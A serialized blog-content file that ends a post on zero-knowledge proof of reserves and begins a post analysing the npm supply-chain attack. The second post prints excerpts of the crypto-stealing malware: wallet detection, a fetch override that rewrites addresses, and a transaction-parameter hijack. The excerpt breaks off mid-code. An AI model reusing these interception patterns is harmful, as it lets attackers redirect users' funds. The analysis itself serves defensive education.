employing zero-knowledge proofs, platforms can achieve this transparency without exposing sensitive user data, effectively proving total liabilities and ensuring non-negativity while preserving privacy. Our system further refines this process, boosting efficiency and eliminating the need for manual verification.",{"type":23,"tag":24,"props":95961,"children":95962},{},[95963,95965,95971],{"type":28,"value":95964},"We are currently working with Backpack to implement this algorithm ",{"type":23,"tag":92,"props":95966,"children":95968},{"href":95780,"rel":95967},[96],[95969],{"type":28,"value":95970},"in production",{"type":28,"value":95972}," to generate and verify proofs every 24 hours. This marks a significant advancement toward establishing a real-time Proof of Reserves system, particularly given that it offers increased transparency, which is a step forward in reducing the need for external audit companies, as users will be able to verify everything themselves.",{"type":23,"tag":24,"props":95974,"children":95975},{},[95976,95978,95985],{"type":28,"value":95977},"For more information about how Backpack Exchange implements Proof of Reserves in practice, you can read their detailed article: ",{"type":23,"tag":92,"props":95979,"children":95982},{"href":95980,"rel":95981},"https://learn.backpack.exchange/articles/proof-of-reserves-at-backpack",[96],[95983],{"type":28,"value":95984},"Proof of Reserves at Backpack Exchange: Real Transparency, ZK Verified",{"type":28,"value":320},{"title":7,"searchDepth":540,"depth":540,"links":95987},[95988,95989,95990,95991,95994,95999,96003,96004,96008],{"id":91237,"depth":540,"text":91240},{"id":91318,"depth":540,"text":91321},{"id":91388,"depth":540,"text":91391},{"id":91442,"depth":540,"text":91445,"children":95992},[95993],{"id":91521,"depth":555,"text":91524},{"id":91609,"depth":540,"text":91612,"children":95995},[95996,95997,95998],{"id":91682,"depth":555,"text":91685},{"id":92154,"depth":555,"text":92157},{"id":93893,"depth":555,"text":93896},{"id":95472,"depth":540,"text":95475,"children":96000},[96001,96002],{"id":8263,"depth":555,"text":95480},{"id":95534,"depth":555,"text":95537},{"id":95664,"depth":540,"text":95667},{"id":95795,"depth":540,"text":95798,"children":96005},[96006,96007],{"id":95806,"depth":555,"text":95809},{"id":95874,"depth":555,"text":95877},{"id":1800,"depth":540,"text":1803},"content:blog:2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds",{"_path":96013,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":96014,"description":96015,"date":96016,"author":13,"image":96017,"isFeatured":16,"onBlogPage":16,"tags":96020,"body":96023,"_type":1838,"_id":98449,"_source":1840,"_file":98450,"_stem":98451,"_extension":1843},"/blog/2025-09-13-how-to-survive-supply-chain-attacks","How to Survive Supply-Chain Attacks","The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay safe.","2025-09-13T12:00:00.000Z",{"src":96018,"width":96019,"height":12604},"/posts/supply-chain-attcks/title.png",1536,[96021,96022],"npm","supply-chain",{"type":20,"children":96024,"toc":98432},[96025,96038,96043,96048,96054,96059,96067,96397,96405,96968,96976,97683,97689,97694,97700,97705,97710,97716,97721,97733,97738,97764,97851,97863,97888,97904,97909,97914,98120,98162,98167,98179,98185,98197,98239,98252,98332,98344,98357,98364,98375,98383,98389,98402,98407,98411,98416,98428],{"type":23,"tag":24,"props":96026,"children":96027},{},[96028,96030,96036],{"type":28,"value":96029},"The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including ",{"type":23,"tag":56,"props":96031,"children":96033},{"className":96032},[],[96034],{"type":28,"value":96035},"chalk",{"type":28,"value":96037},", were published containing sophisticated malware designed to steal cryptocurrency.",{"type":23,"tag":24,"props":96039,"children":96040},{},[96041],{"type":28,"value":96042},"This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to important resources such as cookies and the network stack.",{"type":23,"tag":24,"props":96044,"children":96045},{},[96046],{"type":28,"value":96047},"In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.",{"type":23,"tag":70,"props":96049,"children":96051},{"id":96050},"qix-malware-how-it-worked",[96052],{"type":28,"value":96053},"Qix Malware: How It Worked",{"type":23,"tag":24,"props":96055,"children":96056},{},[96057],{"type":28,"value":96058},"The attacker published modified versions of packages with code designed to do three things:",{"type":23,"tag":41,"props":96060,"children":96061},{},[96062],{"type":23,"tag":45,"props":96063,"children":96064},{},[96065],{"type":28,"value":96066},"Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.",{"type":23,"tag":494,"props":96068,"children":96070},{"code":96069,"language":498,"meta":7,"className":496,"style":7},"async function checkethereumw() {\n  try {\n    const _0x124ed3 = await window.ethereum.request({\n      'method': \"eth_accounts\"\n    });\n    if (_0x124ed3.length > 0) {\n      runmask();\n      if (rund != 1) {\n        rund = 1;\n        neth = 1;\n        newdlocal();\n      }\n    } else if (rund != 1) {\n      rund = 1;\n      newdlocal();\n    }\n  }\n}\n",[96071],{"type":23,"tag":56,"props":96072,"children":96073},{"__ignoreMap":7},[96074,96094,96106,96150,96167,96174,96210,96222,96250,96270,96290,96302,96309,96344,96364,96376,96383,96390],{"type":23,"tag":504,"props":96075,"children":96076},{"class":506,"line":507},[96077,96081,96085,96090],{"type":23,"tag":504,"props":96078,"children":96079},{"style":511},[96080],{"type":28,"value":35122},{"type":23,"tag":504,"props":96082,"children":96083},{"style":511},[96084],{"type":28,"value":37190},{"type":23,"tag":504,"props":96086,"children":96087},{"style":517},[96088],{"type":28,"value":96089}," checkethereumw",{"type":23,"tag":504,"props":96091,"children":96092},{"style":523},[96093],{"type":28,"value":1030},{"type":23,"tag":504,"props":96095,"children":96096},{"class":506,"line":540},[96097,96102],{"type":23,"tag":504,"props":96098,"children":96099},{"style":544},[96100],{"type":28,"value":96101},"  try",{"type":23,"tag":504,"props":96103,"children":96104},{"style":523},[96105],{"type":28,"value":552},{"type":23,"tag":504,"props":96107,"children":96108},{"class":506,"line":555},[96109,96113,96118,96122,96126,96130,96134,96138,96142,96146],{"type":23,"tag":504,"props":96110,"children":96111},{"style":511},[96112],{"type":28,"value":50646},{"type":23,"tag":504,"props":96114,"children":96115},{"style":529},[96116],{"type":28,"value":96117}," _0x124ed3",{"type":23,"tag":504,"props":96119,"children":96120},{"style":598},[96121],{"type":28,"value":648},{"type":23,"tag":504,"props":96123,"children":96124},{"style":544},[96125],{"type":28,"value":35188},{"type":23,"tag":504,"props":96127,"children":96128},{"style":529},[96129],{"type":28,"value":30386},{"type":23,"tag":504,"props":96131,"children":96132},{"style":523},[96133],{"type":28,"value":320},{"type":23,"tag":504,"props":96135,"children":96136},{"style":529},[96137],{"type":28,"value":30395},{"type":23,"tag":504,"props":96139,"children":96140},{"style":523},[96141],{"type":28,"value":320},{"type":23,"tag":504,"props":96143,"children":96144},{"style":517},[96145],{"type":28,"value":30471},{"type":23,"tag":504,"props":96147,"children":96148},{"style":523},[96149],{"type":28,"value":14120},{"type":23,"tag":504,"props":96151,"children":96152},{"class":506,"line":633},[96153,96158,96162],{"type":23,"tag":504,"props":96154,"children":96155},{"style":622},[96156],{"type":28,"value":96157},"      'method'",{"type":23,"tag":504,"props":96159,"children":96160},{"style":529},[96161],{"type":28,"value":3472},{"type":23,"tag":504,"props":96163,"children":96164},{"style":622},[96165],{"type":28,"value":96166}," \"eth_accounts\"\n",{"type":23,"tag":504,"props":96168,"children":96169},{"class":506,"line":687},[96170],{"type":23,"tag":504,"props":96171,"children":96172},{"style":523},[96173],{"type":28,"value":31234},{"type":23,"tag":504,"props":96175,"children":96176},{"class":506,"line":736},[96177,96181,96185,96190,96194,96198,96202,96206],{"type":23,"tag":504,"props":96178,"children":96179},{"style":544},[96180],{"type":28,"value":11261},{"type":23,"tag":504,"props":96182,"children":96183},{"style":523},[96184],{"type":28,"value":801},{"type":23,"tag":504,"props":96186,"children":96187},{"style":529},[96188],{"type":28,"value":96189},"_0x124ed3",{"type":23,"tag":504,"props":96191,"children":96192},{"style":523},[96193],{"type":28,"value":320},{"type":23,"tag":504,"props":96195,"children":96196},{"style":529},[96197],{"type":28,"value":7487},{"type":23,"tag":504,"props":96199,"children":96200},{"style":598},[96201],{"type":28,"value":13175},{"type":23,"tag":504,"props":96203,"children":96204},{"style":1440},[96205],{"type":28,"value":2023},{"type":23,"tag":504,"props":96207,"children":96208},{"style":523},[96209],{"type":28,"value":537},{"type":23,"tag":504,"props":96211,"children":96212},{"class":506,"line":785},[96213,96218],{"type":23,"tag":504,"props":96214,"children":96215},{"style":517},[96216],{"type":28,"value":96217},"      runmask",{"type":23,"tag":504,"props":96219,"children":96220},{"style":523},[96221],{"type":28,"value":2647},{"type":23,"tag":504,"props":96223,"children":96224},{"class":506,"line":813},[96225,96229,96233,96238,96242,96246],{"type":23,"tag":504,"props":96226,"children":96227},{"style":544},[96228],{"type":28,"value":38262},{"type":23,"tag":504,"props":96230,"children":96231},{"style":523},[96232],{"type":28,"value":801},{"type":23,"tag":504,"props":96234,"children":96235},{"style":529},[96236],{"type":28,"value":96237},"rund",{"type":23,"tag":504,"props":96239,"children":96240},{"style":598},[96241],{"type":28,"value":63366},{"type":23,"tag":504,"props":96243,"children":96244},{"style":1440},[96245],{"type":28,"value":3504},{"type":23,"tag":504,"props":96247,"children":96248},{"style":523},[96249],{"type":28,"value":537},{"type":23,"tag":504,"props":96251,"children":96252},{"class":506,"line":851},[96253,96258,96262,96266],{"type":23,"tag":504,"props":96254,"children":96255},{"style":529},[96256],{"type":28,"value":96257},"        rund",{"type":23,"tag":504,"props":96259,"children":96260},{"style":598},[96261],{"type":28,"value":648},{"type":23,"tag":504,"props":96263,"children":96264},{"style":1440},[96265],{"type":28,"value":3504},{"type":23,"tag":504,"props":96267,"children":96268},{"style":523},[96269],{"type":28,"value":866},{"type":23,"tag":504,"props":96271,"children":96272},{"class":506,"line":869},[96273,96278,96282,96286],{"type":23,"tag":504,"props":96274,"children":96275},{"style":529},[96276],{"type":28,"value":96277},"        neth",{"type":23,"tag":504,"props":96279,"children":96280},{"style":598},[96281],{"type":28,"value":648},{"type":23,"tag":504,"props":96283,"children":96284},{"style":1440},[96285],{"type":28,"value":3504},{"type":23,"tag":504,"props":96287,"children":96288},{"style":523},[96289],{"type":28,"value":866},{"type":23,"tag":504,"props":96291,"children":96292},{"class":506,"line":878},[96293,96298],{"type":23,"tag":504,"props":96294,"children":96295},{"style":517},[96296],{"type":28,"value":96297},"        newdlocal",{"type":23,"tag":504,"props":96299,"children":96300},{"style":523},[96301],{"type":28,"value":2647},{"type":23,"tag":504,"props":96303,"children":96304},{"class":506,"line":1221},[96305],{"type":23,"tag":504,"props":96306,"children":96307},{"style":523},[96308],{"type":28,"value":11645},{"type":23,"tag":504,"props":96310,"children":96311},{"class":506,"line":1276},[96312,96316,96320,96324,96328,96332,96336,96340],{"type":23,"tag":504,"props":96313,"children":96314},{"style":523},[96315],{"type":28,"value":791},{"type":23,"tag":504,"props":96317,"children":96318},{"style":544},[96319],{"type":28,"value":2293},{"type":23,"tag":504,"props":96321,"children":96322},{"style":544},[96323],{"type":28,"value":14766},{"type":23,"tag":504,"props":96325,"children":96326},{"style":523},[96327],{"type":28,"value":801},{"type":23,"tag":504,"props":96329,"children":96330},{"style":529},[96331],{"type":28,"value":96237},{"type":23,"tag":504,"props":96333,"children":96334},{"style":598},[96335],{"type":28,"value":63366},{"type":23,"tag":504,"props":96337,"children":96338},{"style":1440},[96339],{"type":28,"value":3504},{"type":23,"tag":504,"props":96341,"children":96342},{"style":523},[96343],{"type":28,"value":537},{"type":23,"tag":504,"props":96345,"children":96346},{"class":506,"line":1285},[96347,96352,96356,96360],{"type":23,"tag":504,"props":96348,"children":96349},{"style":529},[96350],{"type":28,"value":96351},"      rund",{"type":23,"tag":504,"props":96353,"children":96354},{"style":598},[96355],{"type":28,"value":648},{"type":23,"tag":504,"props":96357,"children":96358},{"style":1440},[96359],{"type":28,"value":3504},{"type":23,"tag":504,"props":96361,"children":96362},{"style":523},[96363],{"type":28,"value":866},{"type":23,"tag":504,"props":96365,"children":96366},{"class":506,"line":1294},[96367,96372],{"type":23,"tag":504,"props":96368,"children":96369},{"style":517},[96370],{"type":28,"value":96371},"      newdlocal",{"type":23,"tag":504,"props":96373,"children":96374},{"style":523},[96375],{"type":28,"value":2647},{"type":23,"tag":504,"props":96377,"children":96378},{"class":506,"line":1302},[96379],{"type":23,"tag":504,"props":96380,"children":96381},{"style":523},[96382],{"type":28,"value":875},{"type":23,"tag":504,"props":96384,"children":96385},{"class":506,"line":1311},[96386],{"type":23,"tag":504,"props":96387,"children":96388},{"style":523},[96389],{"type":28,"value":4855},{"type":23,"tag":504,"props":96391,"children":96392},{"class":506,"line":1334},[96393],{"type":23,"tag":504,"props":96394,"children":96395},{"style":523},[96396],{"type":28,"value":884},{"type":23,"tag":41,"props":96398,"children":96399},{"start":540},[96400],{"type":23,"tag":45,"props":96401,"children":96402},{},[96403],{"type":28,"value":96404},"Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)",{"type":23,"tag":494,"props":96406,"children":96408},{"code":96407,"language":498,"meta":7,"className":496,"style":7},"fetch = async function (...args) {\n  const originalResponse = await originalFetch.call(this, ...args);\n  const contentType = originalResponse.headers.get('Content-Type') || '';\n  let data;\n  if (contentType.includes('application/json')) {\n    data = await originalResponse.clone().json();\n  } else {\n    data = await originalResponse.clone().text();\n  }\n  const processedData = replaceAddresses(data);\n  const finalResponseText =\n    typeof processedData === 'string' ? processedData : JSON.stringify(processedData);\n  const finalResponse = new Response(finalResponseText, {\n    status: originalResponse.status,\n    statusText: originalResponse.statusText,\n    headers: originalResponse.headers,\n  });\n  return finalResponse;\n};\n",[96409],{"type":23,"tag":56,"props":96410,"children":96411},{"__ignoreMap":7},[96412,96447,96504,96566,96581,96618,96657,96672,96711,96718,96751,96767,96826,96864,96889,96914,96938,96946,96961],{"type":23,"tag":504,"props":96413,"children":96414},{"class":506,"line":507},[96415,96419,96423,96427,96431,96435,96439,96443],{"type":23,"tag":504,"props":96416,"children":96417},{"style":517},[96418],{"type":28,"value":33072},{"type":23,"tag":504,"props":96420,"children":96421},{"style":598},[96422],{"type":28,"value":648},{"type":23,"tag":504,"props":96424,"children":96425},{"style":511},[96426],{"type":28,"value":35342},{"type":23,"tag":504,"props":96428,"children":96429},{"style":511},[96430],{"type":28,"value":37190},{"type":23,"tag":504,"props":96432,"children":96433},{"style":523},[96434],{"type":28,"value":801},{"type":23,"tag":504,"props":96436,"children":96437},{"style":598},[96438],{"type":28,"value":8572},{"type":23,"tag":504,"props":96440,"children":96441},{"style":529},[96442],{"type":28,"value":37204},{"type":23,"tag":504,"props":96444,"children":96445},{"style":523},[96446],{"type":28,"value":537},{"type":23,"tag":504,"props":96448,"children":96449},{"class":506,"line":540},[96450,96454,96459,96463,96467,96472,96476,96480,96484,96488,96492,96496,96500],{"type":23,"tag":504,"props":96451,"children":96452},{"style":511},[96453],{"type":28,"value":35165},{"type":23,"tag":504,"props":96455,"children":96456},{"style":529},[96457],{"type":28,"value":96458}," originalResponse",{"type":23,"tag":504,"props":96460,"children":96461},{"style":598},[96462],{"type":28,"value":648},{"type":23,"tag":504,"props":96464,"children":96465},{"style":544},[96466],{"type":28,"value":35188},{"type":23,"tag":504,"props":96468,"children":96469},{"style":529},[96470],{"type":28,"value":96471}," originalFetch",{"type":23,"tag":504,"props":96473,"children":96474},{"style":523},[96475],{"type":28,"value":320},{"type":23,"tag":504,"props":96477,"children":96478},{"style":517},[96479],{"type":28,"value":37272},{"type":23,"tag":504,"props":96481,"children":96482},{"style":523},[96483],{"type":28,"value":526},{"type":23,"tag":504,"props":96485,"children":96486},{"style":511},[96487],{"type":28,"value":16673},{"type":23,"tag":504,"props":96489,"children":96490},{"style":523},[96491],{"type":28,"value":576},{"type":23,"tag":504,"props":96493,"children":96494},{"style":598},[96495],{"type":28,"value":8572},{"type":23,"tag":504,"props":96497,"children":96498},{"style":529},[96499],{"type":28,"value":37204},{"type":23,"tag":504,"props":96501,"children":96502},{"style":523},[96503],{"type":28,"value":630},{"type":23,"tag":504,"props":96505,"children":96506},{"class":506,"line":555},[96507,96511,96516,96520,96524,96528,96533,96537,96541,96545,96550,96554,96558,96562],{"type":23,"tag":504,"props":96508,"children":96509},{"style":511},[96510],{"type":28,"value":35165},{"type":23,"tag":504,"props":96512,"children":96513},{"style":529},[96514],{"type":28,"value":96515}," contentType",{"type":23,"tag":504,"props":96517,"children":96518},{"style":598},[96519],{"type":28,"value":648},{"type":23,"tag":504,"props":96521,"children":96522},{"style":529},[96523],{"type":28,"value":96458},{"type":23,"tag":504,"props":96525,"children":96526},{"style":523},[96527],{"type":28,"value":320},{"type":23,"tag":504,"props":96529,"children":96530},{"style":529},[96531],{"type":28,"value":96532},"headers",{"type":23,"tag":504,"props":96534,"children":96535},{"style":523},[96536],{"type":28,"value":320},{"type":23,"tag":504,"props":96538,"children":96539},{"style":517},[96540],{"type":28,"value":15330},{"type":23,"tag":504,"props":96542,"children":96543},{"style":523},[96544],{"type":28,"value":526},{"type":23,"tag":504,"props":96546,"children":96547},{"style":622},[96548],{"type":28,"value":96549},"'Content-Type'",{"type":23,"tag":504,"props":96551,"children":96552},{"style":523},[96553],{"type":28,"value":2064},{"type":23,"tag":504,"props":96555,"children":96556},{"style":598},[96557],{"type":28,"value":21400},{"type":23,"tag":504,"props":96559,"children":96560},{"style":622},[96561],{"type":28,"value":30817},{"type":23,"tag":504,"props":96563,"children":96564},{"style":523},[96565],{"type":28,"value":866},{"type":23,"tag":504,"props":96567,"children":96568},{"class":506,"line":633},[96569,96573,96577],{"type":23,"tag":504,"props":96570,"children":96571},{"style":511},[96572],{"type":28,"value":6838},{"type":23,"tag":504,"props":96574,"children":96575},{"style":529},[96576],{"type":28,"value":14084},{"type":23,"tag":504,"props":96578,"children":96579},{"style":523},[96580],{"type":28,"value":866},{"type":23,"tag":504,"props":96582,"children":96583},{"class":506,"line":687},[96584,96588,96592,96597,96601,96605,96609,96614],{"type":23,"tag":504,"props":96585,"children":96586},{"style":544},[96587],{"type":28,"value":30372},{"type":23,"tag":504,"props":96589,"children":96590},{"style":523},[96591],{"type":28,"value":801},{"type":23,"tag":504,"props":96593,"children":96594},{"style":529},[96595],{"type":28,"value":96596},"contentType",{"type":23,"tag":504,"props":96598,"children":96599},{"style":523},[96600],{"type":28,"value":320},{"type":23,"tag":504,"props":96602,"children":96603},{"style":517},[96604],{"type":28,"value":34157},{"type":23,"tag":504,"props":96606,"children":96607},{"style":523},[96608],{"type":28,"value":526},{"type":23,"tag":504,"props":96610,"children":96611},{"style":622},[96612],{"type":28,"value":96613},"'application/json'",{"type":23,"tag":504,"props":96615,"children":96616},{"style":523},[96617],{"type":28,"value":34170},{"type":23,"tag":504,"props":96619,"children":96620},{"class":506,"line":736},[96621,96625,96629,96633,96637,96641,96645,96649,96653],{"type":23,"tag":504,"props":96622,"children":96623},{"style":529},[96624],{"type":28,"value":42207},{"type":23,"tag":504,"props":96626,"children":96627},{"style":598},[96628],{"type":28,"value":648},{"type":23,"tag":504,"props":96630,"children":96631},{"style":544},[96632],{"type":28,"value":35188},{"type":23,"tag":504,"props":96634,"children":96635},{"style":529},[96636],{"type":28,"value":96458},{"type":23,"tag":504,"props":96638,"children":96639},{"style":523},[96640],{"type":28,"value":320},{"type":23,"tag":504,"props":96642,"children":96643},{"style":517},[96644],{"type":28,"value":14400},{"type":23,"tag":504,"props":96646,"children":96647},{"style":523},[96648],{"type":28,"value":29150},{"type":23,"tag":504,"props":96650,"children":96651},{"style":517},[96652],{"type":28,"value":32975},{"type":23,"tag":504,"props":96654,"children":96655},{"style":523},[96656],{"type":28,"value":2647},{"type":23,"tag":504,"props":96658,"children":96659},{"class":506,"line":785},[96660,96664,96668],{"type":23,"tag":504,"props":96661,"children":96662},{"style":523},[96663],{"type":28,"value":30446},{"type":23,"tag":504,"props":96665,"children":96666},{"style":544},[96667],{"type":28,"value":2293},{"type":23,"tag":504,"props":96669,"children":96670},{"style":523},[96671],{"type":28,"value":552},{"type":23,"tag":504,"props":96673,"children":96674},{"class":506,"line":813},[96675,96679,96683,96687,96691,96695,96699,96703,96707],{"type":23,"tag":504,"props":96676,"children":96677},{"style":529},[96678],{"type":28,"value":42207},{"type":23,"tag":504,"props":96680,"children":96681},{"style":598},[96682],{"type":28,"value":648},{"type":23,"tag":504,"props":96684,"children":96685},{"style":544},[96686],{"type":28,"value":35188},{"type":23,"tag":504,"props":96688,"children":96689},{"style":529},[96690],{"type":28,"value":96458},{"type":23,"tag":504,"props":96692,"children":96693},{"style":523},[96694],{"type":28,"value":320},{"type":23,"tag":504,"props":96696,"children":96697},{"style":517},[96698],{"type":28,"value":14400},{"type":23,"tag":504,"props":96700,"children":96701},{"style":523},[96702],{"type":28,"value":29150},{"type":23,"tag":504,"props":96704,"children":96705},{"style":517},[96706],{"type":28,"value":28},{"type":23,"tag":504,"props":96708,"children":96709},{"style":523},[96710],{"type":28,"value":2647},{"type":23,"tag":504,"props":96712,"children":96713},{"class":506,"line":851},[96714],{"type":23,"tag":504,"props":96715,"children":96716},{"style":523},[96717],{"type":28,"value":4855},{"type":23,"tag":504,"props":96719,"children":96720},{"class":506,"line":869},[96721,96725,96730,96734,96739,96743,96747],{"type":23,"tag":504,"props":96722,"children":96723},{"style":511},[96724],{"type":28,"value":35165},{"type":23,"tag":504,"props":96726,"children":96727},{"style":529},[96728],{"type":28,"value":96729}," processedData",{"type":23,"tag":504,"props":96731,"children":96732},{"style":598},[96733],{"type":28,"value":648},{"type":23,"tag":504,"props":96735,"children":96736},{"style":517},[96737],{"type":28,"value":96738}," replaceAddresses",{"type":23,"tag":504,"props":96740,"children":96741},{"style":523},[96742],{"type":28,"value":526},{"type":23,"tag":504,"props":96744,"children":96745},{"style":529},[96746],{"type":28,"value":2679},{"type":23,"tag":504,"props":96748,"children":96749},{"style":523},[96750],{"type":28,"value":630},{"type":23,"tag":504,"props":96752,"children":96753},{"class":506,"line":878},[96754,96758,96763],{"type":23,"tag":504,"props":96755,"children":96756},{"style":511},[96757],{"type":28,"value":35165},{"type":23,"tag":504,"props":96759,"children":96760},{"style":529},[96761],{"type":28,"value":96762}," finalResponseText",{"type":23,"tag":504,"props":96764,"children":96765},{"style":598},[96766],{"type":28,"value":34832},{"type":23,"tag":504,"props":96768,"children":96769},{"class":506,"line":1221},[96770,96775,96779,96783,96788,96793,96797,96801,96805,96809,96813,96817,96822],{"type":23,"tag":504,"props":96771,"children":96772},{"style":511},[96773],{"type":28,"value":96774},"    typeof",{"type":23,"tag":504,"props":96776,"children":96777},{"style":529},[96778],{"type":28,"value":96729},{"type":23,"tag":504,"props":96780,"children":96781},{"style":598},[96782],{"type":28,"value":30400},{"type":23,"tag":504,"props":96784,"children":96785},{"style":622},[96786],{"type":28,"value":96787}," 'string'",{"type":23,"tag":504,"props":96789,"children":96790},{"style":598},[96791],{"type":28,"value":96792}," ?",{"type":23,"tag":504,"props":96794,"children":96795},{"style":529},[96796],{"type":28,"value":96729},{"type":23,"tag":504,"props":96798,"children":96799},{"style":598},[96800],{"type":28,"value":34092},{"type":23,"tag":504,"props":96802,"children":96803},{"style":529},[96804],{"type":28,"value":653},{"type":23,"tag":504,"props":96806,"children":96807},{"style":523},[96808],{"type":28,"value":320},{"type":23,"tag":504,"props":96810,"children":96811},{"style":517},[96812],{"type":28,"value":38208},{"type":23,"tag":504,"props":96814,"children":96815},{"style":523},[96816],{"type":28,"value":526},{"type":23,"tag":504,"props":96818,"children":96819},{"style":529},[96820],{"type":28,"value":96821},"processedData",{"type":23,"tag":504,"props":96823,"children":96824},{"style":523},[96825],{"type":28,"value":630},{"type":23,"tag":504,"props":96827,"children":96828},{"class":506,"line":1276},[96829,96833,96838,96842,96846,96851,96855,96860],{"type":23,"tag":504,"props":96830,"children":96831},{"style":511},[96832],{"type":28,"value":35165},{"type":23,"tag":504,"props":96834,"children":96835},{"style":529},[96836],{"type":28,"value":96837}," finalResponse",{"type":23,"tag":504,"props":96839,"children":96840},{"style":598},[96841],{"type":28,"value":648},{"type":23,"tag":504,"props":96843,"children":96844},{"style":511},[96845],{"type":28,"value":30911},{"type":23,"tag":504,"props":96847,"children":96848},{"style":517},[96849],{"type":28,"value":96850}," Response",{"type":23,"tag":504,"props":96852,"children":96853},{"style":523},[96854],{"type":28,"value":526},{"type":23,"tag":504,"props":96856,"children":96857},{"style":529},[96858],{"type":28,"value":96859},"finalResponseText",{"type":23,"tag":504,"props":96861,"children":96862},{"style":523},[96863],{"type":28,"value":47861},{"type":23,"tag":504,"props":96865,"children":96866},{"class":506,"line":1285},[96867,96872,96876,96880,96885],{"type":23,"tag":504,"props":96868,"children":96869},{"style":529},[96870],{"type":28,"value":96871},"    status:",{"type":23,"tag":504,"props":96873,"children":96874},{"style":529},[96875],{"type":28,"value":96458},{"type":23,"tag":504,"props":96877,"children":96878},{"style":523},[96879],{"type":28,"value":320},{"type":23,"tag":504,"props":96881,"children":96882},{"style":529},[96883],{"type":28,"value":96884},"status",{"type":23,"tag":504,"props":96886,"children":96887},{"style":523},[96888],{"type":28,"value":2484},{"type":23,"tag":504,"props":96890,"children":96891},{"class":506,"line":1294},[96892,96897,96901,96905,96910],{"type":23,"tag":504,"props":96893,"children":96894},{"style":529},[96895],{"type":28,"value":96896},"    statusText:",{"type":23,"tag":504,"props":96898,"children":96899},{"style":529},[96900],{"type":28,"value":96458},{"type":23,"tag":504,"props":96902,"children":96903},{"style":523},[96904],{"type":28,"value":320},{"type":23,"tag":504,"props":96906,"children":96907},{"style":529},[96908],{"type":28,"value":96909},"statusText",{"type":23,"tag":504,"props":96911,"children":96912},{"style":523},[96913],{"type":28,"value":2484},{"type":23,"tag":504,"props":96915,"children":96916},{"class":506,"line":1302},[96917,96922,96926,96930,96934],{"type":23,"tag":504,"props":96918,"children":96919},{"style":529},[96920],{"type":28,"value":96921},"    headers:",{"type":23,"tag":504,"props":96923,"children":96924},{"style":529},[96925],{"type":28,"value":96458},{"type":23,"tag":504,"props":96927,"children":96928},{"style":523},[96929],{"type":28,"value":320},{"type":23,"tag":504,"props":96931,"children":96932},{"style":529},[96933],{"type":28,"value":96532},{"type":23,"tag":504,"props":96935,"children":96936},{"style":523},[96937],{"type":28,"value":2484},{"type":23,"tag":504,"props":96939,"children":96940},{"class":506,"line":1311},[96941],{"type":23,"tag":504,"props":96942,"children":96943},{"style":523},[96944],{"type":28,"value":96945},"  });\n",{"type":23,"tag":504,"props":96947,"children":96948},{"class":506,"line":1334},[96949,96953,96957],{"type":23,"tag":504,"props":96950,"children":96951},{"style":544},[96952],{"type":28,"value":38175},{"type":23,"tag":504,"props":96954,"children":96955},{"style":529},[96956],{"type":28,"value":96837},{"type":23,"tag":504,"props":96958,"children":96959},{"style":523},[96960],{"type":28,"value":866},{"type":23,"tag":504,"props":96962,"children":96963},{"class":506,"line":1370},[96964],{"type":23,"tag":504,"props":96965,"children":96966},{"style":523},[96967],{"type":28,"value":15556},{"type":23,"tag":41,"props":96969,"children":96970},{"start":555},[96971],{"type":23,"tag":45,"props":96972,"children":96973},{},[96974],{"type":28,"value":96975},"The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.",{"type":23,"tag":494,"props":96977,"children":96979},{"code":96978,"language":498,"meta":7,"className":496,"style":7},"if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {\n  try {\n    const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);\n    _0x2c3d7e.params[0] = _0x39ad21;\n  } catch (_0x226343) {}\n} else {\n  if (\n    (_0x2c3d7e.method === 'solana_signTransaction' ||\n      _0x2c3d7e.method === 'solana_signAndSendTransaction') &&\n    _0x2c3d7e.params &&\n    _0x2c3d7e.params[0]\n  ) {\n    try {\n      let _0x5ad975 = _0x2c3d7e.params[0];\n      if (_0x5ad975.transaction) {\n        _0x5ad975 = _0x5ad975.transaction;\n      }\n      const _0x5dbe63 = _0x1089ae(_0x5ad975, false);\n      if (_0x2c3d7e.params[0].transaction) {\n        _0x2c3d7e.params[0].transaction = _0x5dbe63;\n      } else {\n        _0x2c3d7e.params[0] = _0x5dbe63;\n      }\n    } catch (_0x4b99fd) {}\n  }\n}\n",[96980],{"type":23,"tag":56,"props":96981,"children":96982},{"__ignoreMap":7},[96983,97062,97073,97130,97170,97195,97210,97221,97255,97288,97307,97334,97342,97353,97393,97422,97450,97457,97497,97540,97584,97599,97638,97645,97669,97676],{"type":23,"tag":504,"props":96984,"children":96985},{"class":506,"line":507},[96986,96990,96994,96999,97003,97007,97011,97016,97020,97025,97029,97034,97038,97042,97046,97050,97054,97058],{"type":23,"tag":504,"props":96987,"children":96988},{"style":544},[96989],{"type":28,"value":14560},{"type":23,"tag":504,"props":96991,"children":96992},{"style":523},[96993],{"type":28,"value":801},{"type":23,"tag":504,"props":96995,"children":96996},{"style":529},[96997],{"type":28,"value":96998},"_0x2c3d7e",{"type":23,"tag":504,"props":97000,"children":97001},{"style":523},[97002],{"type":28,"value":320},{"type":23,"tag":504,"props":97004,"children":97005},{"style":529},[97006],{"type":28,"value":37289},{"type":23,"tag":504,"props":97008,"children":97009},{"style":598},[97010],{"type":28,"value":30400},{"type":23,"tag":504,"props":97012,"children":97013},{"style":622},[97014],{"type":28,"value":97015}," 'eth_sendTransaction'",{"type":23,"tag":504,"props":97017,"children":97018},{"style":598},[97019],{"type":28,"value":13166},{"type":23,"tag":504,"props":97021,"children":97022},{"style":529},[97023],{"type":28,"value":97024}," 